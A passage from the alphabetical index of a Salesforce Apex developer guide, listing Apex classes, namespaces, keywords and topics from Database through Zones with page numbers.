undelete 597
update 595
upsert 595
Database objects
methods 1496, 1499, 1502, 1524
understanding 1496, 1499, 1502, 1524
Database.Batchable
interface 1490
Database.BatchableContext
interface 1492
Database.DeletedRecord
class 1493

Database.DeleteResult
class 1494
Database.DmlOptions 131
Database.DMLOptions
class 1496
Database.DmlOptions.AssignmentRuleHeader
class 1499
Database.DMLOptions.DuplicateRuleHeader
classes 1501
Database.DmlOptions.EmailHeader
class 1502
Database.DuplicateError
classes 1505
Database.EmptyRecycleBinResult
class 1507
Database.Error
class 1508
Database.GetDeletedResult
class 1510
Database.GetUpdatedResult
class 1511
Database.LeadConvert
class 1512
Database.LeadConvertResult class 1520
Database.MergeResult
class 1523
Database.QueryLocator
class 1524
Database.QueryLocatorIterator
class 1526
Database.SaveResult
class 1527
Database.UndeleteResult
class 1530
Database.UpsertResult
class 1531
Datacloud
namespace 1533
Datacloud.AdditionalInformationMap
classes 1533
Datacloud.DuplicateResult
classes 1534
Datacloud.FieldDiff
classes 1539
Datacloud.MatchRecord
classes 1540
Datacloud.MatchResult
classes 1542

2631

Index

DataSource
namespace 1544
DataSource.AsyncDeleteCallback
classes 1546
DataSource.AsyncSaveCallback
classes 1547
DataSource.AuthenticationCapability enum 1548
DataSource.AuthenticationProtocol enum 1549
DataSource.Capability enum 1549
DataSource.Column
classes 1550
DataSource.ColumnSelection
classes 1566
DataSource.Connection
classes 1568
DataSource.ConnectionParams
classes 1573
DataSource.DataSourceUtil
classes 1577
DataSource.DataType enum 1578
DataSource.DeleteContext
classes 1579
DataSource.DeleteResult
classes 1580
DataSource.Filter
classes 1583
DataSource.FilterType enum 1585
DataSource.IdentityType enum 1586
DataSource.Order
classes 1586
DataSource.OrderDirection enum 1588
DataSource.Provider
classes 1589
DataSource.QueryAggregation enum 1590
DataSource.QueryContext
classes 1591
DataSource.QueryUtils
classes 1593
DataSource.ReadContext
classes 1596
DataSource.SearchContext
classes 1597
DataSource.SearchUtils
classes 1599
DataSource.Table
classes 1600
DataSource.TableResult
classes 1604

DataSource.TableSelection
classes 1609
DataSource.UpsertContext
classes 1611
DataSource.UpsertResult
classes 1612
Date
data type 27
primitive data type 2037
Datetime
data type 27
primitive data type 2048
Deadlocks
avoiding 144
Debug console 519, 534
Debug log, retaining 515
Debug logs
order of precedence 534
Debugging
API calls 533
classes created from WSDL documents 465
log 515
Decimal
data type 27
primitive data type 2071
rounding modes 2072
Declaring variables 37
Defining a class from a WSDL 453
Delete database method 596
Delete statement 596
deploy call 582
Deploying
additional methods 585
Force.com IDE 580
understanding 579
using change sets 580
using Force.com Migration Tool 580
Deprecated annotation 83
Deprecating 588
Describe information
access all fields 169
access all sObjects 171
describing sObjects using tokens 166
describing tabs 170
permissions 169
understanding 166
using Schema method 170
Describe results
field sets 1894, 1897

2632

Index

Describe results (continued)

fields 168, 1860
sObjects 167
Design Patterns 271
Developer Console
anonymous blocks 208
using 519
Developer Edition 13
Development
process 1213
security 199
DML
considerations 140
convert leads 129
database errors 131
delete 127
exception handling 130
insert and update 118
insert related records using an external ID field 120
insert related records using foreign keys 120
merge 124
operations 117, 594
overview 114
result classes 130
setting options 131
statements vs Database class methods 115
transactions 117
undelete 128
upsert 122
DML operations
behavior 136
convertLead 1512
error object 1508
exception handling 140
execution limits 273
limit methods 2165
mixed DML in test methods 138
understanding 594
unsupported sObjects 139
DML statements
delete 596
insert 594
merge 597
undelete 597
update 595
upsert 595
DMLException methods 2095
Do-while loops 52
Documentation typographical conventions 2604

Dom
namespace 1616
Dom.Document
class 1616
Dom.XmlNode
class 1619
Double
data type 27
primitive data type 2084
Dynamic Apex
foreign keys 179
understanding 165
Dynamic DML 179
Dynamic SOQL 177
Dynamic SOSL 178

E
Eclipse, deploying Apex 585
Email
attachments 1648
class 1644
inbound 356
outbound 356, 1648, 2250
Email service
InboundEmail object 1650
InboundEmail.BinaryAttachment object 1656
InboundEmail.Header object 1665
InboundEmail.TextAttachment object 1658
InboundEmailResult object 1661
InboundEnvelope object 1662
understanding 265
EmailException methods 2095
EmailFileAttachment
class 1648
Encoding 508
Encryption 505, 1973
Enterprise Edition, deploying Apex 579
Enums
Auth.InvocationContext 674
Auth.SessionLevel 694
Auth.VerificationPolicy 699
cache.Visibility 738
Canvas.ContextDataType 744
DataSource.AuthenticationCapability 1548
DataSource.AuthenticationProtocol 1549
DataSource.Capability 1549
DataSource.DataType 1578
DataSource.FilterType 1585
DataSource.IdentityType 1586

2633

Index

Enums (continued)
DataSource.OrderDirection 1588
DataSource.QueryAggregation 1590
methods 2092
Reports.BucketType 1745
Reports.ColumnDataType 1745
Reports.ColumnSortOrder 1746
Reports.CsfGroupType 1752
Reports.DateGranularity 1752
Reports.EvaluatedConditionOperator 1757
reports.FormulaType 1760
Reports.ReportFormat 1790
Reports.StandardFilterType 1840
Schema.DisplayType 1892
Schema.SOAPType 1903
System.JSONToken 2164
understanding 35
Error object
DML 1508
methods 1508
Escape sequences, character 27
Events, triggers 211
Examples
define action links 302, 306
post action links 302, 306
Exception
class 2092
Exceptions
Apex exceptions and common methods 540
catching 544
custom 545
DML 140
handling exceptions 538
methods 2092, 2094
statements 536
throw statements 536
trigger 225
try-catch-finally statements 536
types 536, 2092
executeanonymous call 208, 2574
Execution governors
email warnings 281
understanding 273
Execution order, triggers 218
Expressions
expanding sObject and list 162
operators 40
overview 39
regular 508, 2271

Expressions (continued)
understanding 39
External Email Services
ConnectApi.ExternalEmailService 1176
External objects
writable, about 379
writable, considerations 379

F
Features
common 314
Features, new 5
Feed elements
about 337
layout 337
posting 337
rendering 337
Feed Item Triggers 355
Feed items
about 337
layout 337
posting 337
rendering 337
Feeds
about 337
Field sets
describe results 1894, 1897
Field-level security and custom API calls 254, 262
Fields
access all 169
accessing 113
accessing through relationships 146
describe results 168, 1860
see also sObjects 145
that cannot be modified by triggers 221
tokens 168
validating 114
final keyword 38, 77
Flow
data type conversions 440
namespace 1629
Process.Plugin Interface 434435
Process.PluginDescribeResult 438
Sample Process.Plugin Implementation for Lead Conversion
440
Flow.Interview
accessing flow variables 433
methods 1629

2634

Index

For loops
list or set iteration 54
SOQL locking 143
SOQL queries 155
traditional 53
understanding 52
FOR UPDATE keyword 143
Force.com
managed sharing 186
Force.com IDE, deploying Apex 580
Force.com Migration Tool
additional deployment methods 585
deploying Apex 580
Force.com platform 284
Foreign keys and SOQL queries 147
Formula fields, dereferencing 145
Functional tests
for SOSL queries 567
running 562
understanding 550
Future annotation 84
Future methods 227

G
Get accessors 66
Global access modifier 57, 61
Governor Limits 271
Governors
email warnings 281
execution 273
limit methods 2165
Groups, capturing 511

H
Headers
PackageVersionHeader 2582
Heap size
execution limits 273
limit methods 2165
Hello World example
understanding 1922, 24
Hierarchy custom settings
examples 1986
How to invoke Apex 207
Http class
testing 467
HTTP requests
using certificates 476

HttpCalloutMock
interface 468
HttpDelete annotation 95
HttpGet annotation 95
HttpPatch annotation 95
HttpPost annotation 96
HttpPut annotation 96

I
ID
data type 27
primitive data type 2116
Ideas
zones 293
IdeaStandardController class
instantiation 603
IdeaStandardSetController class
instantiation 605
Identifiers, reserved 2596
IDEs 15
If-else statements 51
In clause, SOQL query 153
InboundEmail
class 1650
InboundEmail object 266
InboundEmail.BinaryAttachment
class 1656
InboundEmail.Header
class 1665
InboundEmail.TextAttachment
class 1658
InboundEmailResult
class 1661
InboundEnvelope
class 1662
Initialization code
instance 62
static 62
using 62
Inline SOQL queries
locking rows for 143
returning a single record 151
Insert database method 594
Insert statement 594
Instance
initialization code 62
methods 62
variables 62
instanceof keyword 78

2635

Index

Integer
data type 27
primitive data type 2129
Integration using Apex 448
Interfaces
Auth.AuthProviderPlugin 658
Auth.RegistrationHandler 675
Auth.SamlJitHandler 680
Canvas.ApplicationContext 739
Canvas.CanvasLifecycleHandler 742
Canvas.EnvironmentContext 745
Canvas.RenderContext 751
ChatterAnswers.AccountCreator 757
Database.Batchable 1490
Database.BatchableContext 1492
HttpCalloutMock 468
Iterable 75
Iterator 75
Process.Plugin 1688
QuickAction.QuickActionDefaultsHandler 1719
reports.NotificationAction 1765
Schedulable 233
Support.EmailTemplateSelector 1925
Support.MilestoneTriggerTimeCalculator 1927
System.Comparable 1962
System.HttpCalloutMock 2099
System.InstallHandler 2126
System.Queueable 2275
System.QueueableContext 2277
System.SandboxPostCopy 2297
System.Schedulable 2298
System.SchedulableContext 2299
System.UninstallHandler 2488
System.WebServiceMock 2512
TerritoryMgmt.OpportunityTerritory2AssignmentFilter 2535
TxnSecurity.PolicyCondition 2543
UrlRewriter 1923
InvocableMethod annotation 85
InvocableVariable annotation 86
Invoking Apex 207
isAfter trigger variable 211
isBefore trigger variable 211
isDelete trigger variable 211
isExecuting trigger variable 211
isInsert trigger variable 211
IsTest annotation 89
isUndeleted trigger variable 211
isUpdate trigger variable 211
IsValid flag 99, 216

Iterators
custom 75
Iterable 75
using 75

J
JavaScript
RemoteAction 268
JSON
deserialization 490
generator 494
methods 490
parsing 495
serialization 490, 492

K
kbManagement
methods 371
KbManagement
namespace 1632
KbManagement.PublishingService
class 1632
Keywords
ALL ROWS 155
final 38, 77
FOR UPDATE 143
instanceof 78
reserved 2596
super 78
testMethod 550
this 79
transient 80
webService 253
with sharing 81
without sharing 81
Knowledge
ConnectApi.Knowledge 1177

L
L-value expressions 39
Language
concepts 7
Learning Apex 14
Limit clause, SOQL query 153
limits 347
Limits
best practices for running within governor limits 281
code execution 273
code execution email warnings 281

2636

Index

Limits (continued)
methods 567
List
collection 2182
List iteration for loops 54
List size, SOQL query for loop 155
Lists
about 30
array notation 31
defining 30
expressions 162
iterating 54
sObject 157
sorting 32
sorting custom types 107
sorting sObjects 159
Literal expressions 39
Local variables 62
Locking statements 143
Log, debug 515
Long
data type 27
primitive data type 2198
Loops
do-while 52
execution limits 273
see also For loops 52
understanding 51
while 52

M
Managed packages
AppExchange 101
package versions 587
version settings 105
versions 587589
Managed sharing 185
Manual sharing 186
Map
collection 2200
Maps
considerations when using sObjects 164
equals and hashcode methods 107
iterating 54
sObjects 163
understanding 33
Matcher class
bounds 510
capturing groups 511

Matcher class (continued)

example 511
regions 510
searching 510
Merge fields, named credentials 452
Merge statements
triggers and 217
understanding 597
Message class
instantiation 612
severity enum 613
Message severity 613
Messages
ConnectApi.ChatterMessages 1102
Messaging
namespace 1643
Messaging.RenderEmailTemplateBodyResult
classes 1672
Messaging.RenderEmailTemplateError
classes 1673
Metadata API call
deploy 582
Methods
access modifiers 61
custom settings 1985
enum 2092
Flow.Interview 1629
instance 62
JSON 490
kbManagement 371
map 33
Network 355
package namespace prefixes 101
passing-by-value 58
recursive 58
sendEmail 356
set 33
setFixedSearchResults 567
static 62
user-defined 58
using with classes 58
void with side effects 58
XML Reader 2514
mobile push notifications
PushNotification class 1666
MultiStaticResourceCalloutMock
testing callouts 469

2637

Index

N
Named credentials
about 449
body, custom 451
header, authorization 451
header, custom 451
merge fields 452
Namespace
precedence 104
prefixes 101
type resolution 105
Namespaces
ApexPages 598
AppLauncher 630
Approval 632
Auth 647
cache 700
Canvas 738
ChatterAnswers 757
Database 1489
Datacloud 1533
DataSource 1544
Dom 1616
Flow 1629
KbManagement 1632
Messaging 1643
Process 1688
QuickAction 1701
Reports 1729, 1908
Schema 1847
Site 1923
Support 1925, 2535, 2538
System 1929
UserProvisioning 2549
Nested lists 30
Network
methods 355
New features in this release 5
new trigger variable 211
newMap trigger variable 211
Not In clause, SOQL query 153

O
Objects
ApexTesResultLimits 2563
ApexTestQueueItem 2558
ApexTestResult 2560
ApexTestRunResult 2566
old trigger variable 211

oldMap trigger variable 211

Onramping 14
Opaque bounds 510
Operations
DML 594
DML exceptions 140
Operators
precedence 46
understanding 40
Order of trigger execution 218
Org Cache 359
Overloading custom API calls 256

P
Packages
creating 2126, 2488
post install script 2126, 2488
Packages, namespaces 101
PackageVersionHeader headers 2582
PageReference class
instantiation 2262
navigation example 2264
query string example 2263
Pages, Visualforce 267
Parameterized typing 35
Parent-child relationships
SOQL queries 147
understanding 39
partition
default 359, 362
for cached data 359, 362
Passed by value, primitives 27
Passing-by-value 58
Pattern class
example 511
Patterns and Matchers 508
Performance Edition, deploying Apex 579
Permissions
enforcing using describe methods 184
Permissions and custom API calls 254, 262
Person account triggers 220
Platform Cache
about 359
best practices 367
considerations 361
features 360
internals 363
limits 361
org cache, storing and retrieving values 366

2638

Index

Platform Cache (continued)

partitions 362
session cache, storing and retrieving values 364
Visualforce global variable 365
Platform Cache Partition tool
using 359
Polymorphic relationships 152
Polymorphic, methods 58
Precedence, operator 46
Primitive data types
passed by value 27
Private access modifier 57, 61
Process
namespace 1688
Process.Plugin
interface 1688
Process.Plugin interface
data type conversions 440
Process.PluginDescribeResult class 435
Process.PluginDescribeResult.InputParameter class 435
Process.PluginDescribeResult.OutputParameter class 435
Sample implementation for lead conversion 440
Process.PluginDescribeResult
class 1691
Process.PluginDescribeResult.InputParameter
class 1694
Process.PluginDescribeResult.OutputParameter
class 1697
Process.PluginRequest
class 1699
Process.PluginResult
class 1700
Processing, triggers and bulk 210
Production organizations, deploying Apex 579
Programming patterns
triggers 225
Properties 66
Protected access modifier 57, 61
Public access modifier 57, 61
push notifications
PushNotification class 1666
Push notifications
execution limits 273
PushNotification
classes 1666
PushNotificationPayload
classes 1669

Q
Queries
execution limits 273
SOQL and SOSL 144
SOQL and SOSL expressions 39
working with results 145
Quick start 19
QuickAction
namespace 1701
QuickAction.DescribeAvailableQuickActionResult
class 1702
QuickAction.DescribeLayoutComponent
class 1703
QuickAction.DescribeLayoutItem
class 1705
QuickAction.DescribeLayoutRow
class 1707
QuickAction.DescribeLayoutSection
class 1708
QuickAction.DescribeQuickActionDefaultValue
class 1710
QuickAction.DescribeQuickActionResult
class 1711
QuickAction.QuickAction
class 2278
QuickAction.QuickActionDefaults
classes 1717
QuickAction.QuickActionDefaultsHandler
interfaces 1719
QuickAction.QuickActionRequest
class 1721
QuickAction.QuickActionResult
class 1725
QuickAction.SendEmailQuickActionDefaults
classes 1727
Quickstart tutorial
understanding 19

R
ReadOnly annotation 92
Reason field values 187
Recalculating sharing 194
Record ownership 186
Recovered records 218
Recursive
methods 58
triggers 209
Regions and regular expressions 510

2639

Index

Regular expressions
bounds 510
grouping 2212
regions 510
searching 2212
splitting 2271
understanding 508
Relationships, accessing fields through 146
Release notes 5
Remote site settings 449
RemoteAction annotation 92
Reports
decoding fact map 419
filtering 418
getting data 417
getting metadata 416
introduction 413
listing asynchronous runs 416
namespace 1729
requirements and limitations 414
running 415
testing 421
Reports.AggregateColumn
class 1732
Reports.BucketField
classes 1734
Reports.BucketFieldValue
classes 1741
Reports.BucketType enum 1745
Reports.ColumnDataType enum 1745
Reports.ColumnSortOrder enum 1746
Reports.CrossFilter
classes 1746
Reports.CsfGroupType enum 1752
Reports.DateGranularity enum 1752
Reports.DetailColumn
class 1753
Reports.Dimension
class 1754
reports.EvaluatedCondition
classes 1754
Reports.EvaluatedConditionOperator enum 1757
Reports.FilterOperator
class 1758
Reports.FilterValue
class 1759
reports.FormulaType enum 1760
Reports.GroupingColumn
class 1760

Reports.GroupingInfo
class 1761
Reports.GroupingValue
class 1763
reports.NotificationAction
interfaces 1765
reports.NotificationActionContext
classes 1766
Reports.ReportCsf
classes 1768
Reports.ReportCurrency
class 1777
Reports.ReportDataCell
class 1778
Reports.ReportDescribeResult
class 1779
Reports.ReportDetailRow
class 1780
Reports.ReportDivisionInfo
classes 1780
Reports.ReportExtendedMetadata
class 1781
Reports.ReportFact
class 1783
Reports.ReportFactWithDetails
class 1784
Reports.ReportFactWithSummaries
class 1785
Reports.ReportFilter
class 1786
Reports.ReportFormat enum 1790
Reports.ReportInstance
class 1790
Reports.ReportManager
class 1793
Reports.ReportMetadata
class 1798
Reports.ReportResults
class 1817
Reports.ReportScopeInfo
classes 1820
Reports.ReportScopeValue
classes 1821
Reports.ReportType
class 1822
Reports.ReportTypeColumn
class 1823
Reports.ReportTypeColumnCategory
class 1825

2640

Index

Reports.ReportTypeMetadata
class 1827
Reports.SortColumn
classes 1828
Reports.StandardDateFilter
classes 1830
Reports.StandardDateFilterDuration
classes 1833
Reports.StandardDateFilterDurationGroup
classes 1835
Reports.StandardFilter
classes 1836
Reports.StandardFilterInfo
classes 1838
Reports.StandardFilterInfoPicklist
classes 1839
Reports.StandardFilterType enum 1840
Reports.SummaryValue
class 1841
reports.ThresholdInformation
classes 1842
Reports.TopRows
classes 1843
Requests 135
Reserved keywords 2596
REST Web Services
Apex REST code samples 262
Apex REST introduction 256
Apex REST methods 257
exposing Apex classes 256
RestResource annotation 94
retrieveCode call 583
Role hierarchy 186
rollback method 135
Rounding modes 2072
RowCause field values 187
runAs method
package versions 590
using 565, 590
runTests call 563, 2575

S
Salesforce Connect
adapters 377
overview 376
Salesforce Connect custom adapter
about 378
aggregation 392
authentication 388

Salesforce Connect custom adapter (continued)

callouts 389
considerations 396
develop 375
example, Google Books 401
example, Google Drive 396
example, loopback 408
examples 396
External ID field, external object 387
filters 393
filters, compound 394
filters, evaluating 393
getting started 380
key concepts 386
named credentials 389
OAuth 388
paging 390
queryMore 390
queryMore, client-driven paging 391
queryMore, server-driven paging 391
sample DataSource.Connection class 380
sample DataSource.Provider class 385
setting up 386
Salesforce Identity 287
Salesforce Knowledge
suggest 372
Salesforce version 106
Sample application
code 2587
data model 2584
overview 2584
tutorial 2584
Sandbox organizations, deploying Apex 579
Schedulable interface 234
Schedule Apex 233
Scheduler
best practices 239
schedulable interface 234
testing 235
Schema
namespace 1847
Schema methods
namespace prefixes 103
Schema namespace prefix 103
Schema.ChildRelationship
class 1848
Schema.DataCategory
class 1850

2641

Index

Schema.DataCategoryGroupSobjectTypePair
class 1851
Schema.DescribeColorResult
class 1854
Schema.DescribeDataCategoryGroupResult
class 1855
Schema.DescribeDataCategoryGroupStructureResult
class 1858
Schema.DescribeFieldResult
class 1860
Schema.DescribeIconResult
class 1875
Schema.DescribeSObjectResult
class 1878
Schema.DescribeTabResult
class 1886
Schema.DescribeTabSetResult
class 1889
Schema.DisplayType
enum 1892
Schema.FieldSet
class 1894
Schema.FieldSetMember
class 1897
Schema.PicklistEntry
class 1899
Schema.RecordTypeInfo
class 1901
Schema.SOAPType
enum 1903
Schema.SObjectField
class 1904
Schema.sObjectType
class 1905
Search
namespace 1908
Search.KnowledgeSuggestionFilter
classes 1908
Search.QuestionSuggestionFilter
classes 1913
Search.SearchResult
classes 1917
Search.SearchResults
classes 1918
Search.SuggestionOption
classes 1919
Search.SuggestionResult
classes 1921

Search.SuggestionResults
classes 1922
SearchPromotionRule 371
Security
and custom API calls 254, 262
certificates 474
class 185
code 199
formulas 200
Visualforce 200
SelectOption
example 2308
instantiation 2307
SendEmailError
class 1675
SendEmailResult
class 1676
Session Cache 359
SessionManagement
classes 684
Set
collection 2313
Set accessors 66
setFixedSearchResults method 567
Sets
iterating 54
iteration for loops 54
understanding 33
with sObjects 163
setSavepoint method 135
Severity, messages 613
Sharing
access levels 187
and custom API calls 254, 262
Apex managed 185
reason field values 187
recalculating 194
rules 186
understanding 186
Sharing reasons
database object 1524
recalculating 194
understanding 188
SingleEmailMessage
class 1663, 1677
Site
namespace 1923
Site class 423
size trigger variable 211

2642

Index

SOAP and overloading 256

SOAP API calls
compileAndTest 580, 585
compileClasses 585
compileTriggers 585
custom 253
executeAnonymous 208
retrieveCode 583
runTests 563
transaction control 135
when to use 3
SOAP API objects
ApexTestQueueItem 564
ApexTestResult 564
sObject
Class 2344
sObjects
access all 171
accessing fields through relationships 146
data types 27, 112
dereferencing fields 145
describe result methods 1878
describe results 167
expressions 162
fields 113
formula fields 145
lists 157
mixed DML in test methods 138
sorting 159
that cannot be used together 136
that do not support DML operations 139
tokens 167
validating 114
SOQL injection 178
SOQL queries
aggregate functions 148
Apex variables in 153
dynamic 177
execution limits 273
expressions 39
for loops 143, 155
foreign key 147
inline, locking rows for 143
large result lists 148
limit methods 2165
locking 143
null values 151
parent-child relationship 147
Polymorphic relationships 152

SOQL queries (continued)

preventing injection 178
querying all records 155
understanding 144
working with results 145
Sorting
lists 32
SOSL injection 179
SOSL queries
Apex variables in 153
dynamic 178
execution limits 273
expressions 39
limit methods 2165
preventing injection 179
testing 567
understanding 144
working with results 145
Special characters 27
SSL authentication 474
StandardController
example 617
StandardController class
instantiation 616
StandardSetController
example 622
StandardSetController class
instantiation 622
Start and stop test 567
Statements
assignment 47
execution limits 273
if-else 51
locking 143
method invoking 58
Static
initialization code 62
methods 62
variables 62
StaticResourceCalloutMock
testing callouts 469
String
primitive data type 2365
Strings
data type 27
super keyword 78
Support
namespace 1925, 2535, 2538
Support Classes 430

2643

Index

Support.EmailTemplateSelector
interface 1925
Support.MilestoneTriggerTimeCalculator
Interface 1927
Syntax
case sensitivity 38
comments 46
variables 37
System
namespace 1929
System architecture, Apex 4
System Log console
using 519
System methods
namespace prefixes 102
system mode 351
System namespace prefix 102
System validation 218
system.Address
classes 1934
System.Answers
class 1938
System.ApexPages
class 1940
System.Approval
class 1942
System.BusinessHours
class 1958
System.Cases
class 1961
System.Comparable
interface 1962
System.Comparable Interface
compareTo method 1962
System.Continuation
classes 1964
System.Cookie
class 1968
System.Crypto
class 1973
System.Database
class 1996
System.EncodingUtil
class 2088
System.FlexQueue
classes 2095
System.Http
class 2098

System.HttpCalloutMock
interface 2099
System.HttpCalloutMock Interface
respond method 2099
System.HttpRequest
class 2100
System.HttpResponse
class 2110
System.Ideas
class 2122
System.InstallHandler
interface 2126
System.InstallHandler interface
onInstall method 2126
System.JSON
class 2131
System.JSONGenerator
class 2138
System.JSONParser
class 2152
System.JSONToken
enum 2164
System.Limits
class 2165
system.Location
classes 2195
System.Matcher
class 2212
System.Matcher methods
See also Pattern methods 2212
System.Math
class 2224
System.Messaging
class 2250
System.MultiStaticResourceCalloutMock
class 2255
System.Network
class 2257
System.PageReference
class 2262
System.Pattern
class 2271
System.Queueable
interface 2275
System.QueueableContext
interface 2277
System.RemoteObjectController
class 2282

2644

Index

System.ResetPasswordResult
class 2285
System.RestContext
class 2286
System.RestRequest
class 2287
System.RestResponse
class 2293
System.SandboxPostCopy
interfaces 2297
System.Schedulable
interface 2298
System.SchedulableContext
interface 2299
System.Schema
class 2300
System.Search
class 2304
System.SelectOption
class 2307
System.Site
class 2324
System.StaticResourceCalloutMock
class 2363
System.System
class 2439
System.Test
class 2459
System.Time
class 2472
System.TimeZone
class 2477
System.Trigger
class 2480
System.Type
class 2482, 2511
System.UninstallHandler interface
onUninstall method 2488
System.URL
class 2491
System.UserInfo
class 2499
System.Version
class 2507
System.WebServiceMock
interface 2512
System.WebServiceMock Interface
doInvoke method 2512

System.XmlStreamReader
class 2514
System.XmlStreamWriter
class 2528

T
Tasks
define action links 302
define action links in template 306
post action links 302
post action links defined in template 306
Territory Management 2.0 431
Territory2 trigger 431
TerritoryMgmt.OpportunityTerritory2AssignmentFilter
interfaces 2535
Test methods
Visualforce 2459
Test setup methods 560
Testing
best practices 568
callouts 467469
callouts with DML 472
code coverage 574
example 569
governor limits 567
runAs 565, 590
using start and stop test 567
what to test 549
testMethod keyword 550
Tests
common utility classes 559
data 555
data access 555
for SOSL queries 567
isTest annotation 89
running 562
test data 557
TestVisible annotation 553
understanding 548549
testSetup annotation 560
TestSetup annotation 93
TestVisible annotation 93
this keyword 79
Throw statements 536
Time
data type 27
Tokens
fields 168
reserved 2596

2645

Index

Tokens (continued)
sObjects 167
Tools 580
Traditional for loops 53
Transaction control statements
triggers and 211
understanding 135
Transactions 271272
transient keyword 80
Transparent bounds 510
Trigger
step by step walkthrough 1922, 24
Trigger-ignoring operations 220
Triggers
API version 106
bulk exception handling 140
bulk processing 210
bulk queries 214
Chatter 223
Chatter messages 352
common idioms 214
context variable considerations 213
context variables 211
defining 216
design pattern 225
entity and field considerations 221
events 211
exceptions 225
execution order 218
feed items 355
ignored operations 220
isValid flag 216
maps and sets, using 214
merge events and 217
recovered records 218
syntax 211
transaction control 135
transaction control statements 211
undelete 218
understanding 209
unique fields 214
Try-catch-finally statements 536
Tutorial 19, 2584
TxnSecurity.Event
classes 2539
TxnSecurity.PolicyCondition
interfaces 2543
Type resolution 105

Types
Primitive 27
sObject 112
understanding 27
Typographical conventions 2604

U
Undelete database method 597
Undelete statement 597
Undelete triggers 218
Unit tests
for SOSL queries 567
running 562
understanding 550
Unlimited Edition, deploying Apex 579
Update database method 595
Update statement 595
Upsert database method 595
Upsert statement 595
UrlRewriter
interface 1923
User managed sharing 186
User-defined methods, Apex 58
UserProfiles
ConnectApi.UserProfiles 1301
UserProvisioning 2549
UserProvisioning.ConnectorTestUtil
classes 2549
UserProvisioning.UserProvisioningLog
classes 2550
UserProvisioning.UserProvisioningPlugin
class 2553
UserTerritory2Association trigger 431

V
Validating sObject and field names 114
Validation, system 218
Variables
access modifiers 61
declaring 37
in SOQL and SOSL queries 153
instance 62
local 62
precedence 104
static 62
trigger context 211
using with classes 57
Version settings
API version 106

2646

Index

Version settings (continued)

package versions 107
understanding 105
Very large SOQL queries 148
Virtual definition modifier 57
Visual Workflow
accessing flow variables 433
Visualforce
ApexPages methods 1940
message severity 613
pages 267
RemoteObjectController methods 2282
security tips 199
when to use 3

W
Walk-through, sample application 2584
Web services API calls
available for Apex 2558
compileAndTest 2568
compileClasses 2572
compileTriggers 2574
executeanonymous 2574
runTests 2575
WebService methods
considerations 254
exposing data 254
overloading 256
understanding 253
Where clause, SOQL query 153

While loops 52
Wildcards 349
with sharing keywords 81, 351
without sharing keywords 81, 351
Workflow 218
Writable external objects
about 379
considerations 379
Writing Apex 1213
WSDLs
creating an Apex class from 453
debugging 465
example 458
generating 253
mapping headers 465
overloading 256
runtime events 465
testing 461
testing and DML 463

X
XML reader methods 2514
XML Support
reading using streams 498
using streams 498, 501
using the DOM 502
XML writer methods 2528

Z
Zones 293

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